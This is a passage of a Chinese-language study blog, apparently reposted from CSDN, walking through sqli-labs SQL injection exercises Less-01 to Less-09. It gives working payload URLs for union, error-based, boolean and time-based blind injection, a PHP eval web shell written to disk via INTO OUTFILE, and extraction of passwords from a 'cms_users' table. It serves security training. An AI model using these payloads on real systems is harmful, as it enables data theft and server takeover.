【CyberSecurityLearning 56】自动化注入

目录

自动化注入

半自动化注入

全自动注入

sqli-labs题库

Less-01

Less-02

Less-03

Less-04

Less-05

如果输出结果显示不全怎么办?

Less-06

Less-07

Less-08

Less-09


自动化注入

半自动化注入

burp

全自动注入

首推:sqlmap
其他:穿山甲/明小子/胡萝卜等

定制化脚本

sqli-labs题库

Less-01

1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询
2、通过加单引号,判断是数字型注入还是字符型注入(发现是字符型注入,闭合方式是单引号)

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
1后面有其他SQL语句,为了防止后面SQL语句的影响,我们可以把后面注入掉(--+),如果是井号(在url中我们需要把#进行url编码变为%23)

3、and 1=1,and1=2,两次页面状态不同(有布尔类型状态)

4、and sleep(5)  (有延时)【sleep语句我们不要管页面显示什么,我们判断依据是时间线】

5、我们做联合查询,把前面的那条SQL语句置为假(and 1=2)

http://42.192.43.56/sqli-labs/Less-1/?id=1'  and 1=2 union select 1,version(),3 --+  (做到version就行,因为我们能获得数据库中的敏感信息了)

Less-02

1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询
2、通过加单引号,判断是数字型注入还是字符型注入(数字型注入,我们提交的2没有显示到页面,闭合方式没有)

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

3、直接用union select判断有多少个列就行

http://42.192.43.56/sqli-labs/Less-2/?id=-2 union select 1,2,database()

Less-03

1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询
2、通过加单引号,判断是数字型注入还是字符型注入(字符型注入,因为提交的参数3显示到页面中来了,闭合方式单引号加一个右半括号

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3'') LIMIT 0,1' at line 1

3、我要要想闭合之前的字符串的定义,我们要在2后面添加一个单引号和右半括号,如何把后面--+闭合掉

http://42.192.43.56/sqli-labs/Less-3/?id=3') --+

实际上SQL语句变成了:......'3')--+') LIMIT 0,1

4、http://42.192.43.56/sqli-labs/Less-3/?id=3') and 1=2 union select 1,2,version()--+

Less-04

1、尝试改变id参数,结果是页面发生改变(说明数据库中的内容会回显到网页),首选的办法是联合查询

2、通过加单引号,判断是数字型注入还是字符型注入(发现没反应)
     改用双引号测试一下(注意是双引号,不是两个单引号),字符型注入,闭合方式是"),把后面--+注释掉

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1

3、http://42.192.43.56/sqli-labs/Less-4/?id=2") and 1=2 union select 1,2,@@datadir--+

Less-05

1、输入id=1和id=2,页面显示一样
2、输入一个单引号(字符型注入,闭合方式是单引号)

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1

3、没有回显,有报错,字符型注入,闭合方式单引号,使用报错注入

4、42.192.43.56/sqli-labs/Less-5/?id=2' and updatexml(1,concat(0x5e,version(),0x5e),1) --+

如果输出结果显示不全怎么办?

我们先取出前十六位:

http://42.192.43.56/cms/show.php?id=33 and updatexml(1,concat(0x5e,substr((select password from cms_users ),1,16),0x5e),1)

再取后16位

http://42.192.43.56/cms/show.php?id=33 and updatexml(1,concat(0x5e,substr((select password from cms_users ),17),0x5e),1)

再拼接起来

Less-06

1、输入id=1和id=2,页面显示一样
2、输入一个单引号(没反应),再提交一个双引号(字符型注入,闭合方式是双引号)

没有回显有报错,字符型,双引号闭合

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1

--+闭合后和谐

3、http://42.192.43.56/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x5e,(select version()),0x5e),1)--+

Less-07

1、输入id=1和id=2,页面显示一样

2、输入单引号测试(没有报错信息)

You have an error in your SQL syntax

3、and 1=1 /  and 1=2

没有回显,没有报错

我们代码审计一下

可以看到闭合方式是'))

4、字符型注入

http://42.192.43.56/sqli-labs/Less-7/?id=2'))--+

5、读写文件

http://42.192.43.56/sqli-labs/Less-7/?id=2')) union select 1,"<?php @eval(\$_REQUEST[777])?>",3 into outfile "D:\\phpStudy\\WWW\\1.php"--+

into outfile 是我们把内容导入到1.php这个文件中去(其实那个$转义不转义都行,建议转义,只要$出现在引号里面并且是作为普通字符串输出,就转义)

写文件成功

打开1.php  发现所要信息

Less-08

1、输入id=1和id=2,页面显示一样

2、输入单引号测试,啥都没有

没有回显,没有报错

添加一个双引号:You are in...(你用双引号显示You are in...说明双引号必定不是闭合方式,考虑是单引号闭合)

3、--+闭合——和谐

4、and 1=1和and 1=2页面状态不一样,有布尔类型状态,考虑布尔盲注,属于字符型注入,闭合方式是单引号

用bp进行半自动化注入(抓包后发到intruder模块)

数据库的长度1在变,我们把1用$引起来,选择payload,选择一个字典,点击“ann from list”选择0-9

得到数据库名的长度 8

*获取数据库名

?id=2' and ascii(substr(database(),1,1))=1--+

攻击类型选择集束炸弹(cluster bomb)

字典

第一个变量1-8

第二个变量1-128

start attack

  

代码审计一下

Less-09

1、输入id=1和id=2,页面显示一样

2、输入单双引号测试,都是You are in.....

没有回显

3、没有布尔类型状态

4、id后加单引号,加sleep起作用,说明是字符型注入,闭合方式单引号

没有回显,没有报错,没有布尔类型状态,有延时

http://42.192.43.56/sqli-labs/Less-8/?id=2' and if(length(database())=1,sleep(5),1)--+

5、抓包,添加变量

*获取数据库名

字典

变量11-8

变量21-128

获取成功

猜你喜欢

转载自blog.csdn.net/Waffle666/article/details/115438116